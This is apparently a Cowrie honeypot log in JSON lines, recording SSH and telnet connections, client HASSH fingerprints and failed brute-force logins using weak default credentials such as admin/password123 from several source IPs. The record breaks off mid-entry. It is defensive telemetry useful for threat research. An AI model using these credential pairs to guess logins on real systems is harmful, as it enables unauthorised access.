{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":41620,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6a9550cd391","protocol":"ssh","message":"New connection: 185.216.119.134:41620 (10.17.0.5:22) [session: c6a9550cd391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:06.065006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:06.070044Z","src_ip":"185.216.119.134","session":"c6a9550cd391","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:06.834666Z","src_ip":"185.216.119.134","session":"c6a9550cd391","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345#","message":"login attempt [root/12345#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:08.396012Z","src_ip":"185.216.119.134","session":"c6a9550cd391","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:09.629645Z","src_ip":"185.216.119.134","session":"c6a9550cd391","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":40150,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f64fcc01473","protocol":"ssh","message":"New connection: 80.94.92.186:40150 (159.203.135.109:22) [session: 1f64fcc01473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:10.632689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:10.713193Z","src_ip":"80.94.92.186","session":"1f64fcc01473","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:10.835204Z","src_ip":"80.94.92.186","session":"1f64fcc01473","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:11.181509Z","src_ip":"66.132.172.133","session":"b360bc7e936a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx","message":"login attempt [ubuntu/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:11.782215Z","src_ip":"80.94.92.186","session":"1f64fcc01473","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:12.906265Z","src_ip":"80.94.92.186","session":"1f64fcc01473","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39388,"dst_ip":"159.203.135.109","dst_port":22,"session":"60bf37770d3e","protocol":"ssh","message":"New connection: 159.203.92.129:39388 (159.203.135.109:22) [session: 60bf37770d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:13.795944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:14.189868Z","src_ip":"159.203.92.129","session":"60bf37770d3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:14.193996Z","src_ip":"159.203.92.129","session":"60bf37770d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Yingjb","password":"123","message":"login attempt [Yingjb/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:16.816193Z","src_ip":"159.203.92.129","session":"60bf37770d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:18.284837Z","src_ip":"159.203.92.129","session":"60bf37770d3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":51686,"dst_ip":"159.203.135.109","dst_port":22,"session":"71ddacfec9a7","protocol":"ssh","message":"New connection: 221.139.88.149:51686 (159.203.135.109:22) [session: 71ddacfec9a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:50.420820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:50.426468Z","src_ip":"221.139.88.149","session":"71ddacfec9a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:50.641358Z","src_ip":"221.139.88.149","session":"71ddacfec9a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password123","message":"login attempt [admin/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:51.416798Z","src_ip":"221.139.88.149","session":"71ddacfec9a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:52.613648Z","src_ip":"221.139.88.149","session":"71ddacfec9a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34882,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f7e0587c3b8","protocol":"ssh","message":"New connection: 159.203.92.129:34882 (159.203.135.109:22) [session: 7f7e0587c3b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:56.328532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:56.354382Z","src_ip":"159.203.92.129","session":"7f7e0587c3b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:56.359042Z","src_ip":"159.203.92.129","session":"7f7e0587c3b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.173.243.171","src_port":51996,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1a6d949963a","protocol":"telnet","message":"New connection: 68.173.243.171:51996 (10.17.0.5:23) [session: f1a6d949963a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:56.366290Z"}
{"eventid":"cowrie.login.failed","username":"Yingjb","password":"123456","message":"login attempt [Yingjb/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:56.488293Z","src_ip":"159.203.92.129","session":"7f7e0587c3b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:40:57.498479Z","src_ip":"159.203.92.129","session":"7f7e0587c3b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":32992,"dst_ip":"159.203.135.109","dst_port":22,"session":"648e059e6d73","protocol":"ssh","message":"New connection: 31.59.89.180:32992 (159.203.135.109:22) [session: 648e059e6d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:01.624590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:01.630124Z","src_ip":"31.59.89.180","session":"648e059e6d73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:01.743376Z","src_ip":"31.59.89.180","session":"648e059e6d73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123","message":"login attempt [admin1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:02.227924Z","src_ip":"31.59.89.180","session":"648e059e6d73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:03.343505Z","src_ip":"31.59.89.180","session":"648e059e6d73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":59308,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf9741da552b","protocol":"ssh","message":"New connection: 185.216.119.134:59308 (10.17.0.5:22) [session: cf9741da552b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:09.237470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:09.253187Z","src_ip":"185.216.119.134","session":"cf9741da552b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.932399988174438,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:09.298568Z","src_ip":"68.173.243.171","session":"f1a6d949963a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:10.039395Z","src_ip":"185.216.119.134","session":"cf9741da552b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:11.681723Z","src_ip":"185.216.119.134","session":"cf9741da552b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:12.906145Z","src_ip":"185.216.119.134","session":"cf9741da552b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41206,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f0f7281d029","protocol":"ssh","message":"New connection: 159.203.92.129:41206 (159.203.135.109:22) [session: 9f0f7281d029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:39.414416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:41:39.495090Z","src_ip":"159.203.92.129","session":"9f0f7281d029","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac